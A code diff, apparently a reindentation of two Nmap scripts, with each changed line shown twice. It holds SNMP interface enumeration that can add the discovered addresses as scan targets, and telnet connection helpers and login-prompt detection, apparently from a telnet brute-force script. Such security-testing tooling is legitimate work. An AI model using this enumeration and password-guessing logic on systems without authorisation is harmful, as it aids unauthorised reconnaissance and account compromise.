"arcnet", "arcnetPlus", "atm", "miox25", "sonet", "x25ple", "iso88022llc", "localTalk",
"smdsDxi", "frameRelayService", "v35", "hssi", "hippi", "modem", "aal5", "sonetPath",
"sonetVT", "smdsIcip", "propVirtual", "propMultiplexor", "ieee80212", "fibreChannel",
"hippiInterface", "frameRelayInterconnect", "aflane8023", "aflane8025", "cctEmul",
"fastEther", "isdn", "v11", "v36", "g703at64k", "g703at2mb", "qllc", "fastEtherFX",
"channel", "ieee80211", "ibm370parChan", "escon", "dlsw", "isdns", "isdnu", "lapd",
"ipSwitch", "rsrb", "atmLogical", "ds0", "ds0Bundle", "bsc", "async", "cnr",
"iso88025Dtr", "eplrs", "arap", "propCnls", "hostPad", "termPad", "frameRelayMPI",
"x213", "adsl", "radsl", "sdsl", "vdsl", "iso88025CRFPInt", "myrinet", "voiceEM",
"voiceFXO", "voiceFXS", "voiceEncap", "voiceOverIp", "atmDxi", "atmFuni", "atmIma",
"pppMultilinkBundle", "ipOverCdlc", "ipOverClaw", "stackToStack", "virtualIpAddress",
"mpc", "ipOverAtm", "iso88025Fiber", "tdlc", "gigabitEthernet", "hdlc", "lapf", "v37",
"x25mlp", "x25huntGroup", "trasnpHdlc", "interleave", "fast", "ip", "docsCableMaclayer",
"docsCableDownstream", "docsCableUpstream", "a12MppSwitch", "tunnel", "coffee", "ces",
"atmSubInterface", "l2vlan", "l3ipvlan", "l3ipxvlan", "digitalPowerlinev", "mediaMailOverIp",
"dtm", "dcn", "ipForward", "msdsl", "ieee1394", "if-gsn", "dvbRccMacLayer", "dvbRccDownstream",
"dvbRccUpstream", "atmVirtual", "mplsTunnel", "srp", "voiceOverAtm", "voiceOverFrameRelay",
"idsl", "compositeLink", "ss7SigLink", "propWirelessP2P", "frForward", "rfc1483", "usb",
"ieee8023adLag", "bgppolicyaccounting", "frf16MfrBundle", "h323Gatekeeper", "h323Proxy",
"mpls", "mfSigLink", "hdsl2", "shdsl", "ds1FDL", "pos", "dvbAsiIn", "dvbAsiOut", "plc",
"nfas", "tr008", "gr303RDT", "gr303IDT", "isup", "propDocsWirelessMaclayer",
"propDocsWirelessDownstream", "propDocsWirelessUpstream", "hiperlan2", "propBWAp2Mp",
"sonetOverheadChannel", "digitalWrapperOverheadChannel", "aal2", "radioMAC", "atmRadio",
"imt", "mvl", "reachDSL", "frDlciEndPt", "atmVciEndPt", "opticalChannel", "opticalTransport",
"propAtm", "voiceOverCable", "infiniband", "teLink", "q2931", "virtualTg", "sipTg", "sipSig",
"docsCableUpstreamChannel", "econet", "pon155", "pon622", "bridge", "linegroup", "voiceEMFGD",
"voiceFGDEANA", "voiceDID", "mpegTransport", "sixToFour", "gtp", "pdnEtherLoop1",
"pdnEtherLoop2", "opticalChannelGroup", "homepna", "gfp", "ciscoISLvlan", "actelisMetaLOOP",
"fcipLink", "rpr", "qam", "lmp", "cblVectaStar", "docsCableMCmtsDownstream", "adsl2",
"macSecControlledIF", "macSecUncontrolledIF", "aviciOpticalEther", "atmbond", "voiceFGDOS",
"mocaVersion1", "ieee80216WMAN", "adsl2plus", "dvbRcsMacLayer", "dvbTdm", "dvbRcsTdma",
"x86Laps", "wwanPP", "wwanPP2", "voiceEBS", "ifPwType", "ilan", "pip", "aluELP", "gpon",
"vdsl2", "capwapDot11Profile", "capwapDot11Bss", "capwapWtpVirtualRadio" }
"iso88023Csmacd", "iso88024TokenBus", "iso88025TokenRing", "iso88026Man", "starLan",
"proteon10Mbit", "proteon80Mbit", "hyperchannel", "fddi", "lapb", "sdlc", "ds1", "e1",
"basicISDN", "primaryISDN", "propPointToPointSerial", "ppp", "softwareLoopback", "eon",
"ethernet3Mbit", "nsip", "slip", "ultra", "ds3", "sip", "frameRelay", "rs232", "para",
"arcnet", "arcnetPlus", "atm", "miox25", "sonet", "x25ple", "iso88022llc", "localTalk",
"smdsDxi", "frameRelayService", "v35", "hssi", "hippi", "modem", "aal5", "sonetPath",
"sonetVT", "smdsIcip", "propVirtual", "propMultiplexor", "ieee80212", "fibreChannel",
"hippiInterface", "frameRelayInterconnect", "aflane8023", "aflane8025", "cctEmul",
"fastEther", "isdn", "v11", "v36", "g703at64k", "g703at2mb", "qllc", "fastEtherFX",
"channel", "ieee80211", "ibm370parChan", "escon", "dlsw", "isdns", "isdnu", "lapd",
"ipSwitch", "rsrb", "atmLogical", "ds0", "ds0Bundle", "bsc", "async", "cnr",
"iso88025Dtr", "eplrs", "arap", "propCnls", "hostPad", "termPad", "frameRelayMPI",
"x213", "adsl", "radsl", "sdsl", "vdsl", "iso88025CRFPInt", "myrinet", "voiceEM",
"voiceFXO", "voiceFXS", "voiceEncap", "voiceOverIp", "atmDxi", "atmFuni", "atmIma",
"pppMultilinkBundle", "ipOverCdlc", "ipOverClaw", "stackToStack", "virtualIpAddress",
"mpc", "ipOverAtm", "iso88025Fiber", "tdlc", "gigabitEthernet", "hdlc", "lapf", "v37",
"x25mlp", "x25huntGroup", "trasnpHdlc", "interleave", "fast", "ip", "docsCableMaclayer",
"docsCableDownstream", "docsCableUpstream", "a12MppSwitch", "tunnel", "coffee", "ces",
"atmSubInterface", "l2vlan", "l3ipvlan", "l3ipxvlan", "digitalPowerlinev", "mediaMailOverIp",
"dtm", "dcn", "ipForward", "msdsl", "ieee1394", "if-gsn", "dvbRccMacLayer", "dvbRccDownstream",
"dvbRccUpstream", "atmVirtual", "mplsTunnel", "srp", "voiceOverAtm", "voiceOverFrameRelay",
"idsl", "compositeLink", "ss7SigLink", "propWirelessP2P", "frForward", "rfc1483", "usb",
"ieee8023adLag", "bgppolicyaccounting", "frf16MfrBundle", "h323Gatekeeper", "h323Proxy",
"mpls", "mfSigLink", "hdsl2", "shdsl", "ds1FDL", "pos", "dvbAsiIn", "dvbAsiOut", "plc",
"nfas", "tr008", "gr303RDT", "gr303IDT", "isup", "propDocsWirelessMaclayer",
"propDocsWirelessDownstream", "propDocsWirelessUpstream", "hiperlan2", "propBWAp2Mp",
"sonetOverheadChannel", "digitalWrapperOverheadChannel", "aal2", "radioMAC", "atmRadio",
"imt", "mvl", "reachDSL", "frDlciEndPt", "atmVciEndPt", "opticalChannel", "opticalTransport",
"propAtm", "voiceOverCable", "infiniband", "teLink", "q2931", "virtualTg", "sipTg", "sipSig",
"docsCableUpstreamChannel", "econet", "pon155", "pon622", "bridge", "linegroup", "voiceEMFGD",
"voiceFGDEANA", "voiceDID", "mpegTransport", "sixToFour", "gtp", "pdnEtherLoop1",
"pdnEtherLoop2", "opticalChannelGroup", "homepna", "gfp", "ciscoISLvlan", "actelisMetaLOOP",
"fcipLink", "rpr", "qam", "lmp", "cblVectaStar", "docsCableMCmtsDownstream", "adsl2",
"macSecControlledIF", "macSecUncontrolledIF", "aviciOpticalEther", "atmbond", "voiceFGDOS",
"mocaVersion1", "ieee80216WMAN", "adsl2plus", "dvbRcsMacLayer", "dvbTdm", "dvbRcsTdma",
"x86Laps", "wwanPP", "wwanPP2", "voiceEBS", "ifPwType", "ilan", "pip", "aluELP", "gpon",
"vdsl2", "capwapDot11Profile", "capwapDot11Bss", "capwapWtpVirtualRadio" }
--- Gets a value for the specified oid
--
@@ -113,13 +113,13 @@ local iana_types = { "other", "regular1822", "hdh1822", "ddnX25", "rfc877x25", "
-- @return value of relevant type or nil if oid was not found
function get_value_from_table( tbl, oid )
for _, v in ipairs( tbl ) do
if v.oid == oid then
return v.value
end
end
for _, v in ipairs( tbl ) do
if v.oid == oid then
return v.value
end
end
return nil
return nil
end
--- Gets the network interface type from a list of IANA approved types
@@ -127,13 +127,13 @@ end
-- @param iana integer interface type returned from snmp result
-- @return string description of interface type, or "Unknown" if type not found
function get_iana_type( iana )
-- 254 types are currently defined
-- if the requested type falls outside that range, reset to "other"
if iana > 254 or iana < 1 then
iana = 1
end
-- 254 types are currently defined
-- if the requested type falls outside that range, reset to "other"
if iana > 254 or iana < 1 then
iana = 1
end
return iana_types[iana]
return iana_types[iana]
end
--- Calculates the speed of the interface based on the snmp value
@@ -141,20 +141,20 @@ end
-- @param speed value from IF-MIB::ifSpeed
-- @return string description of speed
function get_if_speed( speed )
local result
local result
-- GigE or 10GigE speeds
if speed >= 1000000000 then
result = string.format( "%d Gbps", speed / 1000000000)
-- Common for 10 or 100 Mbit ethernet
elseif speed >= 1000000 then
result = string.format( "%d Mbps", speed / 1000000)
-- Anything slower report in Kbps
else
result = string.format( "%d Kbps", speed / 1000)
end
-- GigE or 10GigE speeds
if speed >= 1000000000 then
result = string.format( "%d Gbps", speed / 1000000000)
-- Common for 10 or 100 Mbit ethernet
elseif speed >= 1000000 then
result = string.format( "%d Mbps", speed / 1000000)
-- Anything slower report in Kbps
else
result = string.format( "%d Kbps", speed / 1000)
end
return result
return result
end
--- Calculates the amount of traffic passed through an interface based on the snmp value
@@ -162,20 +162,20 @@ end
-- @param amount value from IF-MIB::ifInOctets or IF-MIB::ifOutOctets
-- @return string description of traffic amount
function get_traffic( amount )
local result
local result
-- Gigabytes
if amount >= 1000000000 then
result = string.format( "%.2f Gb", amount / 1000000000)
-- Megabytes
elseif amount >= 1000000 then
result = string.format( "%.2f Mb", amount / 1000000)
-- Anything lower report in kb
else
result = string.format( "%.2f Kb", amount / 1000)
end
-- Gigabytes
if amount >= 1000000000 then
result = string.format( "%.2f Gb", amount / 1000000000)
-- Megabytes
elseif amount >= 1000000 then
result = string.format( "%.2f Mb", amount / 1000000)
-- Anything lower report in kb
else
result = string.format( "%.2f Kb", amount / 1000)
end
return result
return result
end
--- Converts a 6 byte string into the familiar MAC address formatting
@@ -183,17 +183,17 @@ end
-- @param mac string containing the MAC address
-- @return formatted string suitable for printing
function get_mac_addr( mac )
local catch = function() return end
local try = nmap.new_try(catch)
local mac_prefixes = try(datafiles.parse_mac_prefixes())
local catch = function() return end
local try = nmap.new_try(catch)
local mac_prefixes = try(datafiles.parse_mac_prefixes())
if mac:len() ~= 6 then
return "Unknown"
else
local prefix = string.upper(string.format("%02x%02x%02x", mac:byte(1), mac:byte(2), mac:byte(3)))
local manuf = mac_prefixes[prefix] or "Unknown"
return string.format("%s (%s)", stdnse.format_mac(mac:sub(1,6)), manuf )
end
if mac:len() ~= 6 then
return "Unknown"
else
local prefix = string.upper(string.format("%02x%02x%02x", mac:byte(1), mac:byte(2), mac:byte(3)))
local manuf = mac_prefixes[prefix] or "Unknown"
return string.format("%s (%s)", stdnse.format_mac(mac:sub(1,6)), manuf )
end
end
--- Processes the list of network interfaces
@@ -202,87 +202,87 @@ end
-- @return table with network interfaces described in key / value pairs
function process_interfaces( tbl )
-- Add the %. escape character to prevent matching the index on e.g. "1.3.6.1.2.1.2.2.1.10."
local if_index = "1.3.6.1.2.1.2.2.1.1%."
local if_descr = "1.3.6.1.2.1.2.2.1.2."
local if_type = "1.3.6.1.2.1.2.2.1.3."
local if_speed = "1.3.6.1.2.1.2.2.1.5."
local if_phys_addr = "1.3.6.1.2.1.2.2.1.6."
local if_status = "1.3.6.1.2.1.2.2.1.8."
local if_in_octets = "1.3.6.1.2.1.2.2.1.10."
local if_out_octets = "1.3.6.1.2.1.2.2.1.16."
local new_tbl = {}
-- Add the %. escape character to prevent matching the index on e.g. "1.3.6.1.2.1.2.2.1.10."
local if_index = "1.3.6.1.2.1.2.2.1.1%."
local if_descr = "1.3.6.1.2.1.2.2.1.2."
local if_type = "1.3.6.1.2.1.2.2.1.3."
local if_speed = "1.3.6.1.2.1.2.2.1.5."
local if_phys_addr = "1.3.6.1.2.1.2.2.1.6."
local if_status = "1.3.6.1.2.1.2.2.1.8."
local if_in_octets = "1.3.6.1.2.1.2.2.1.10."
local if_out_octets = "1.3.6.1.2.1.2.2.1.16."
local new_tbl = {}
-- Some operating systems (such as MS Windows) don't list interfaces with consecutive indexes
-- Therefore we keep an index list so we can iterate over the indexes later on
new_tbl.index_list = {}
-- Some operating systems (such as MS Windows) don't list interfaces with consecutive indexes
-- Therefore we keep an index list so we can iterate over the indexes later on
new_tbl.index_list = {}
for _, v in ipairs( tbl ) do
for _, v in ipairs( tbl ) do
if ( v.oid:match("^" .. if_index) ) then
local item = {}
item.index = get_value_from_table( tbl, v.oid )
if ( v.oid:match("^" .. if_index) ) then
local item = {}
item.index = get_value_from_table( tbl, v.oid )
local objid = v.oid:gsub( "^" .. if_index, if_descr)
local value = get_value_from_table( tbl, objid )
local objid = v.oid:gsub( "^" .. if_index, if_descr)
local value = get_value_from_table( tbl, objid )
if value and value:len() > 0 then
item.descr = value
end
if value and value:len() > 0 then
item.descr = value
end
objid = v.oid:gsub( "^" .. if_index, if_type )
value = get_value_from_table( tbl, objid )
objid = v.oid:gsub( "^" .. if_index, if_type )
value = get_value_from_table( tbl, objid )
if value then
item.type = get_iana_type(value)
end
if value then
item.type = get_iana_type(value)
end
objid = v.oid:gsub( "^" .. if_index, if_speed )
value = get_value_from_table( tbl, objid )
objid = v.oid:gsub( "^" .. if_index, if_speed )
value = get_value_from_table( tbl, objid )
if value then
item.speed = get_if_speed( value )
end
if value then
item.speed = get_if_speed( value )
end
objid = v.oid:gsub( "^" .. if_index, if_phys_addr )
value = get_value_from_table( tbl, objid )
objid = v.oid:gsub( "^" .. if_index, if_phys_addr )
value = get_value_from_table( tbl, objid )
if value and value:len() > 0 then
item.phys_addr = get_mac_addr( value )
end
if value and value:len() > 0 then
item.phys_addr = get_mac_addr( value )
end
objid = v.oid:gsub( "^" .. if_index, if_status )
value = get_value_from_table( tbl, objid )
objid = v.oid:gsub( "^" .. if_index, if_status )
value = get_value_from_table( tbl, objid )
if value == 1 then
item.status = "up"
elseif value == 2 then
item.status = "down"
end
if value == 1 then
item.status = "up"
elseif value == 2 then
item.status = "down"
end
objid = v.oid:gsub( "^" .. if_index, if_in_octets )
value = get_value_from_table( tbl, objid )
objid = v.oid:gsub( "^" .. if_index, if_in_octets )
value = get_value_from_table( tbl, objid )
if value then
item.received = get_traffic( value )
end
if value then
item.received = get_traffic( value )
end
objid = v.oid:gsub( "^" .. if_index, if_out_octets )
value = get_value_from_table( tbl, objid )
objid = v.oid:gsub( "^" .. if_index, if_out_octets )
value = get_value_from_table( tbl, objid )
if value then
item.sent = get_traffic( value )
end
if value then
item.sent = get_traffic( value )
end
new_tbl[item.index] = item
-- Add this interface index to our master list
table.insert( new_tbl.index_list, item.index )
new_tbl[item.index] = item
-- Add this interface index to our master list
table.insert( new_tbl.index_list, item.index )
end
end
end
end
return new_tbl
return new_tbl
end
@@ -292,34 +292,34 @@ end
-- @param ip_tbl table containing <code>oid</code> and <code>value</code> pairs from IP::MIB
-- @return table with network interfaces described in key / value pairs
function process_ips( if_tbl, ip_tbl )
local ip_index = "1.3.6.1.2.1.4.20.1.2."
local ip_addr = "1.3.6.1.2.1.4.20.1.1."
local ip_netmask = "1.3.6.1.2.1.4.20.1.3."
local index
local item
local ip_index = "1.3.6.1.2.1.4.20.1.2."
local ip_addr = "1.3.6.1.2.1.4.20.1.1."
local ip_netmask = "1.3.6.1.2.1.4.20.1.3."
local index
local item
for _, v in ipairs( ip_tbl ) do
if ( v.oid:match("^" .. ip_index) ) then
index = get_value_from_table( ip_tbl, v.oid )
item = if_tbl[index]
for _, v in ipairs( ip_tbl ) do
if ( v.oid:match("^" .. ip_index) ) then
index = get_value_from_table( ip_tbl, v.oid )
item = if_tbl[index]
local objid = v.oid:gsub( "^" .. ip_index, ip_addr )
local value = get_value_from_table( ip_tbl, objid )
local objid = v.oid:gsub( "^" .. ip_index, ip_addr )
local value = get_value_from_table( ip_tbl, objid )
if value then
item.ip_addr = value
end
if value then
item.ip_addr = value
end
objid = v.oid:gsub( "^" .. ip_index, ip_netmask )
value = get_value_from_table( ip_tbl, objid )
objid = v.oid:gsub( "^" .. ip_index, ip_netmask )
value = get_value_from_table( ip_tbl, objid )
if value then
item.netmask = value
end
end
end
if value then
item.netmask = value
end
end
end
return if_tbl
return if_tbl
end
--- Creates a table of IP addresses from the table of network interfaces
@@ -327,16 +327,16 @@ end
-- @param tbl table containing network interfaces
-- @return table containing only IP addresses
function list_addrs( tbl )
local new_tbl = {}
local new_tbl = {}
for _, index in ipairs( tbl.index_list ) do
local interface = tbl[index]
if interface.ip_addr then
table.insert( new_tbl, interface.ip_addr )
end
end
for _, index in ipairs( tbl.index_list ) do
local interface = tbl[index]
if interface.ip_addr then
table.insert( new_tbl, interface.ip_addr )
end
end
return new_tbl
return new_tbl
end
--- Process the table of network interfaces for reporting
@@ -344,132 +344,132 @@ end
-- @param tbl table containing network interfaces
-- @return table suitable for <code>stdnse.format_output</code>
function build_results( tbl )
local new_tbl = {}
local verbose = nmap.verbosity()
local new_tbl = {}
local verbose = nmap.verbosity()
-- For each interface index previously discovered, format the relevant information for output
for _, index in ipairs( tbl.index_list ) do
local interface = tbl[index]
local item = {}
local status = interface.status
local if_type = interface.type
-- For each interface index previously discovered, format the relevant information for output
for _, index in ipairs( tbl.index_list ) do
local interface = tbl[index]
local item = {}
local status = interface.status
local if_type = interface.type
if interface.descr then
item.name = interface.descr
else
item.name = string.format("Interface %d", index)
end
if interface.descr then
item.name = interface.descr
else
item.name = string.format("Interface %d", index)
end
if interface.ip_addr and interface.netmask then
table.insert( item, ("IP address: %s Netmask: %s"):format( interface.ip_addr, interface.netmask ) )
end
if interface.ip_addr and interface.netmask then
table.insert( item, ("IP address: %s Netmask: %s"):format( interface.ip_addr, interface.netmask ) )
end
if interface.phys_addr then
table.insert( item, ("MAC address: %s"):format( interface.phys_addr ) )
end
if interface.phys_addr then
table.insert( item, ("MAC address: %s"):format( interface.phys_addr ) )
end
if interface.type and interface.speed then
table.insert( item, ("Type: %s Speed: %s"):format( interface.type, interface.speed ) )
end
if interface.type and interface.speed then
table.insert( item, ("Type: %s Speed: %s"):format( interface.type, interface.speed ) )
end
if ( verbose > 0 ) and interface.status then
table.insert( item, ("Status: %s"):format( interface.status ) )
end
if ( verbose > 0 ) and interface.status then
table.insert( item, ("Status: %s"):format( interface.status ) )
end
if interface.sent and interface.received then
table.insert( item, ("Traffic stats: %s sent, %s received"):format( interface.sent, interface.received ) )
end
if interface.sent and interface.received then
table.insert( item, ("Traffic stats: %s sent, %s received"):format( interface.sent, interface.received ) )
end
if ( verbose > 0 ) or status == "up" then
table.insert( new_tbl, item )
end
end
if ( verbose > 0 ) or status == "up" then
table.insert( new_tbl, item )
end
end
return new_tbl
return new_tbl
end
action = function(host, port)
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
-- IF-MIB - used to look up network interfaces
local if_oid = "1.3.6.1.2.1.2.2.1"
-- IP-MIB - used to determine IP address information
local ip_oid = "1.3.6.1.2.1.4.20"
local interfaces = {}
local ips = {}
local status
local srvhost, srvport
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
-- IF-MIB - used to look up network interfaces
local if_oid = "1.3.6.1.2.1.2.2.1"
-- IP-MIB - used to determine IP address information
local ip_oid = "1.3.6.1.2.1.4.20"
local interfaces = {}
local ips = {}
local status
local srvhost, srvport
if SCRIPT_TYPE == "prerule" then
srvhost = stdnse.get_script_args({"snmp-interfaces.host", "host"})
if not srvhost then
-- Shouldn't happen; checked in prerule.
return
end
if SCRIPT_TYPE == "prerule" then
srvhost = stdnse.get_script_args({"snmp-interfaces.host", "host"})
if not srvhost then
-- Shouldn't happen; checked in prerule.
return
end
srvport = stdnse.get_script_args({"snmp-interfaces.port", "port"})
if srvport then
srvport = tonumber(srvport)
else
srvport = 161
end
else
srvhost = host.ip
srvport = port.number
end
srvport = stdnse.get_script_args({"snmp-interfaces.port", "port"})
if srvport then
srvport = tonumber(srvport)
else
srvport = 161
end
else
srvhost = host.ip
srvport = port.number
end
socket:set_timeout(5000)
try(socket:connect(srvhost, srvport, "udp"))
socket:set_timeout(5000)
try(socket:connect(srvhost, srvport, "udp"))
-- retreive network interface information from IF-MIB
status, interfaces = snmp.snmpWalk( socket, if_oid )
socket:close()
-- retreive network interface information from IF-MIB
status, interfaces = snmp.snmpWalk( socket, if_oid )
socket:close()
if (not(status)) or ( interfaces == nil ) or ( #interfaces == 0 ) then
return
end
if (not(status)) or ( interfaces == nil ) or ( #interfaces == 0 ) then
return
end
stdnse.print_debug("SNMP walk of IF-MIB returned %d lines", #interfaces)
stdnse.print_debug("SNMP walk of IF-MIB returned %d lines", #interfaces)
-- build a table of network interfaces from the IF-MIB table
interfaces = process_interfaces( interfaces )
-- build a table of network interfaces from the IF-MIB table
interfaces = process_interfaces( interfaces )
-- retreive IP address information from IP-MIB
try(socket:connect(srvhost, srvport, "udp"))
status, ips = snmp.snmpWalk( socket, ip_oid )
-- retreive IP address information from IP-MIB
try(socket:connect(srvhost, srvport, "udp"))
status, ips = snmp.snmpWalk( socket, ip_oid )
-- associate that IP address information with the correct interface
if (not(status)) or ( ips ~= nil ) and ( #ips ~= 0 ) then
interfaces = process_ips( interfaces, ips )
end
-- associate that IP address information with the correct interface
if (not(status)) or ( ips ~= nil ) and ( #ips ~= 0 ) then
interfaces = process_ips( interfaces, ips )
end
local output = stdnse.format_output( true, build_results(interfaces) )
local output = stdnse.format_output( true, build_results(interfaces) )
if SCRIPT_TYPE == "prerule" and target.ALLOW_NEW_TARGETS then
local sum = 0
if SCRIPT_TYPE == "prerule" and target.ALLOW_NEW_TARGETS then
local sum = 0
ips = list_addrs(interfaces)
ips = list_addrs(interfaces)
-- Could add all of the addresses at once, but count
-- successful additions instead for script output
for _, i in ipairs(ips) do
local st, err = target.add(i)
if st then
sum = sum + 1
else
stdnse.print_debug("Couldn't add target " .. i .. ": " .. err)
end
end
-- Could add all of the addresses at once, but count
-- successful additions instead for script output
for _, i in ipairs(ips) do
local st, err = target.add(i)
if st then
sum = sum + 1
else
stdnse.print_debug("Couldn't add target " .. i .. ": " .. err)
end
end
if sum ~= 0 then
output = output .. "\nSuccessfully added " .. tostring(sum) .. " new targets"
end
elseif SCRIPT_TYPE == "portrule" then
nmap.set_port_state(host, port, "open")
end
if sum ~= 0 then
output = output .. "\nSuccessfully added " .. tostring(sum) .. " new targets"
end
elseif SCRIPT_TYPE == "portrule" then
nmap.set_port_state(host, port, "open")
end
return output
return output
end

View File

@@ -62,7 +62,7 @@ local pcreptn = {} -- cache of compiled PCRE patterns
-- @param fmt Format string.
-- @param ... Arguments to format.
local print_debug = function (level, fmt, ...)
stdnse.print_debug(level, "%s: " .. fmt, SCRIPT_NAME, ...)
stdnse.print_debug(level, "%s: " .. fmt, SCRIPT_NAME, ...)
end
@@ -73,10 +73,10 @@ end
-- @param str The string to analyze
-- @return Verdict (true or false)
local is_username_prompt = function (str)
pcreptn.username_prompt = pcreptn.username_prompt
or pcre.new("\\b(?:username|login)\\s*:\\s*$",
pcre.flags().CASELESS, "C")
return pcreptn.username_prompt:match(str)
pcreptn.username_prompt = pcreptn.username_prompt
or pcre.new("\\b(?:username|login)\\s*:\\s*$",
pcre.flags().CASELESS, "C")
return pcreptn.username_prompt:match(str)
end
@@ -87,10 +87,10 @@ end
-- @param str The string to analyze
-- @return Verdict (true or false)
local is_password_prompt = function (str)
pcreptn.password_prompt = pcreptn.password_prompt
or pcre.new("\\bpass(?:word|code)\\s*:\\s*$",
pcre.flags().CASELESS, "C")
return pcreptn.password_prompt:match(str)
pcreptn.password_prompt = pcreptn.password_prompt
or pcre.new("\\bpass(?:word|code)\\s*:\\s*$",
pcre.flags().CASELESS, "C")
return pcreptn.password_prompt:match(str)
end
@@ -101,14 +101,14 @@ end
-- @param str The string to analyze
-- @return Verdict (true or false)
local is_login_success = function (str)
pcreptn.login_success = pcreptn.login_success
or pcre.new("[/>%$#]\\s*$" -- general prompt
.. "|^Last login\\s*:" -- linux telnetd
.. "|^(?-i:[A-Z]):\\\\" -- Windows telnet
.. "|Main(?:\\s|\\x1B\\[\\d+;\\d+H)Menu\\b" -- Netgear RM356
.. "|^Enter Terminal Emulation:\\s*$", -- Hummingbird telnetd
pcre.flags().CASELESS, "C")
return pcreptn.login_success:match(str)
pcreptn.login_success = pcreptn.login_success
or pcre.new("[/>%$#]\\s*$" -- general prompt
.. "|^Last login\\s*:" -- linux telnetd
.. "|^(?-i:[A-Z]):\\\\" -- Windows telnet
.. "|Main(?:\\s|\\x1B\\[\\d+;\\d+H)Menu\\b" -- Netgear RM356
.. "|^Enter Terminal Emulation:\\s*$", -- Hummingbird telnetd
pcre.flags().CASELESS, "C")
return pcreptn.login_success:match(str)
end
@@ -119,10 +119,10 @@ end
-- @param str The string to analyze
-- @return Verdict (true or false)
local is_login_failure = function (str)
pcreptn.login_failure = pcreptn.login_failure
or pcre.new("\\b(?:incorrect|failed|denied|invalid|bad)\\b",
pcre.flags().CASELESS, "C")
return pcreptn.login_failure:match(str)
pcreptn.login_failure = pcreptn.login_failure
or pcre.new("\\b(?:incorrect|failed|denied|invalid|bad)\\b",
pcre.flags().CASELESS, "C")
return pcreptn.login_failure:match(str)
end
@@ -138,21 +138,21 @@ local Connection = { methods = {} }
-- @param port Telnet port
-- @return Connection object or nil (if the operation failed)
Connection.new = function (host, port, proto)
local soc = nmap.new_socket(proto)
if not soc then return nil end
return setmetatable( {
socket = soc,
isopen = false,
buffer = nil,
error = nil,
host = host,
port = port,
proto = proto
},
{
__index = Connection.methods,
__gc = Connection.methods.close
} )
local soc = nmap.new_socket(proto)
if not soc then return nil end
return setmetatable( {
socket = soc,
isopen = false,
buffer = nil,
error = nil,
host = host,
port = port,
proto = proto
},
{
__index = Connection.methods,
__gc = Connection.methods.close
} )
end
@@ -163,21 +163,21 @@ end
-- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise
Connection.methods.connect = function (self)
local status
local wait = 1
local status
local wait = 1
self.buffer = ""
self.buffer = ""
for tries = 0, conn_retries do
self.socket:set_timeout(telnet_timeout)
status, self.error = self.socket:connect(self.host, self.port, self.proto)
if status then break end
stdnse.sleep(wait)
wait = 2 * wait
end
for tries = 0, conn_retries do
self.socket:set_timeout(telnet_timeout)
status, self.error = self.socket:connect(self.host, self.port, self.proto)
if status then break end
stdnse.sleep(wait)
wait = 2 * wait
end
self.isopen = status
return status, self.error
self.isopen = status
return status, self.error
end
@@ -188,12 +188,12 @@ end
-- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise
Connection.methods.close = function (self)
if not self.isopen then return true, nil end
local status
self.isopen = false
self.buffer = nil
status, self.error = self.socket:close()
return status, self.error
if not self.isopen then return true, nil end
local status
self.isopen = false
self.buffer = nil
status, self.error = self.socket:close()
return status, self.error
end
@@ -205,9 +205,9 @@ end
-- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise
Connection.methods.send_line = function (self, line)
local status
status, self.error = self.socket:send(line .. telnet_eol)
return status, self.error
local status
status, self.error = self.socket:send(line .. telnet_eol)
return status, self.error
end
@@ -219,40 +219,40 @@ end
-- @param data Data string to add to the buffer
-- @return Number of characters in the connection buffer
Connection.methods.fill_buffer = function (self, data)
local outbuf = strbuf.new(self.buffer)
local optbuf = strbuf.new()
local oldpos = 0
local outbuf = strbuf.new(self.buffer)
local optbuf = strbuf.new()
local oldpos = 0
while true do
-- look for IAC (Interpret As Command)
local newpos = data:find('\255', oldpos)
if not newpos then break end
while true do
-- look for IAC (Interpret As Command)
local newpos = data:find('\255', oldpos)
if not newpos then break end
outbuf = outbuf .. data:sub(oldpos, newpos - 1)
local opttype = data:byte(newpos + 1)
local opt = data:byte(newpos + 2)
outbuf = outbuf .. data:sub(oldpos, newpos - 1)
local opttype = data:byte(newpos + 1)
local opt = data:byte(newpos + 2)
if opttype == 251 or opttype == 252 then
-- Telnet Will / Will Not
-- regarding ECHO or GO-AHEAD, agree with whatever the
-- server wants (or not) to do; otherwise respond with
-- "don't"
opttype = (opt == 1 or opt == 3) and opttype + 2 or 254
elseif opttype == 253 or opttype == 254 then
-- Telnet Do / Do not
-- I will not do whatever the server wants me to
opttype = 252
end
if opttype == 251 or opttype == 252 then
-- Telnet Will / Will Not
-- regarding ECHO or GO-AHEAD, agree with whatever the
-- server wants (or not) to do; otherwise respond with
-- "don't"
opttype = (opt == 1 or opt == 3) and opttype + 2 or 254
elseif opttype == 253 or opttype == 254 then
-- Telnet Do / Do not
-- I will not do whatever the server wants me to
opttype = 252
end
optbuf = optbuf .. string.char(255)
.. string.char(opttype)
.. string.char(opt)
oldpos = newpos + 3
end
optbuf = optbuf .. string.char(255)
.. string.char(opttype)
.. string.char(opt)
oldpos = newpos + 3
end
self.buffer = strbuf.dump(outbuf) .. data:sub(oldpos)
self.socket:send(strbuf.dump(optbuf))
return self.buffer:len()
self.buffer = strbuf.dump(outbuf) .. data:sub(oldpos)
self.socket:send(strbuf.dump(optbuf))
return self.buffer:len()
end
@@ -264,18 +264,18 @@ end
-- @param normalize whether the returned line is normalized (default: false)
-- @return String representing the first line in the buffer
Connection.methods.get_line = function (self)
if self.buffer:len() == 0 then
-- refill the buffer
local status, data = self.socket:receive_buf("[\r\n:>%%%$#\255].*", true)
if not status then
-- connection error
self.error = data
return nil
end
if self.buffer:len() == 0 then
-- refill the buffer
local status, data = self.socket:receive_buf("[\r\n:>%%%$#\255].*", true)
if not status then
-- connection error
self.error = data
return nil
end
self:fill_buffer(data)
end
return self.buffer:match('^[^\r\n]*')
self:fill_buffer(data)
end
return self.buffer:match('^[^\r\n]*')
end
@@ -286,8 +286,8 @@ end
-- @param self Connection object
-- @return Number of characters remaining in the connection buffer
Connection.methods.discard_line = function (self)
self.buffer = self.buffer:gsub('^[^\r\n]*[\r\n]*', '', 1)
return self.buffer:len()
self.buffer = self.buffer:gsub('^[^\r\n]*[\r\n]*', '', 1)
return self.buffer:len()
end
@@ -309,16 +309,16 @@ local Target = { methods = {} }
-- @param port Telnet port
-- @return Target object or nil (if the operation failed)
Target.new = function (host, port)
